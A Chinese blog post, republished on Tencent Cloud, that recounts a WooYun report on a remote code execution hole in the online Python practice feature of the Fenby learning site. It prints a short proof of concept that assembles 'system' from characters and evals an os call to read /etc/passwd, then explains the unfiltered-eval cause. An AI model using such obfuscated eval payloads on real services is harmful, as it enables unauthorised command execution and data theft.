前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >有意思的python***案例

有意思的python***案例

作者头像
py3study
发布2020-01-03 15:46:08
3890
发布2020-01-03 15:46:08
举报
文章被收录于专栏:python3python3

今天在wooyun里看到一个有意思的漏洞。说它有意思,第一是思路很特别,当然也是因为安全做的很low,第二里面使用的python的poc有个小细节,特此分享一下。

网站叫Fenby网,主要是为了pythoner在线学习的,它有一个在线练习的功能,可以输入代码,然后执行,测试运行结果。。。

于是楼主就注册了一个账号,URL:http://www.fenby.com/course/units/xxxx

然后输入如下一段恶意代码:

代码语言:javascript
复制
import string

s = ["s","y","s","t","e","m"]

s = "".join(s)

cmd = "cat /etc/passwd"

code = "__import__('os')." + s + "('" + cmd + "')"

eval(code)

于是就这样了。。。

wKioL1VN6AWiXCoBAAGITIL72WQ123.jpg
wKioL1VN6AWiXCoBAAGITIL72WQ123.jpg

这里我想说两点,第一造成漏洞的原因是没有过滤eval,第二代码里使用的import和__import__的不同。

import其实是调用的__import__但是如果直接写成 code = "__import__('package.module')",它的意思就不是说:import package.module as package

When the name variable is of the form package.module, normally, the top-level package (the name up till the first dot) is returned, not the module named by name.

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-09-23 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档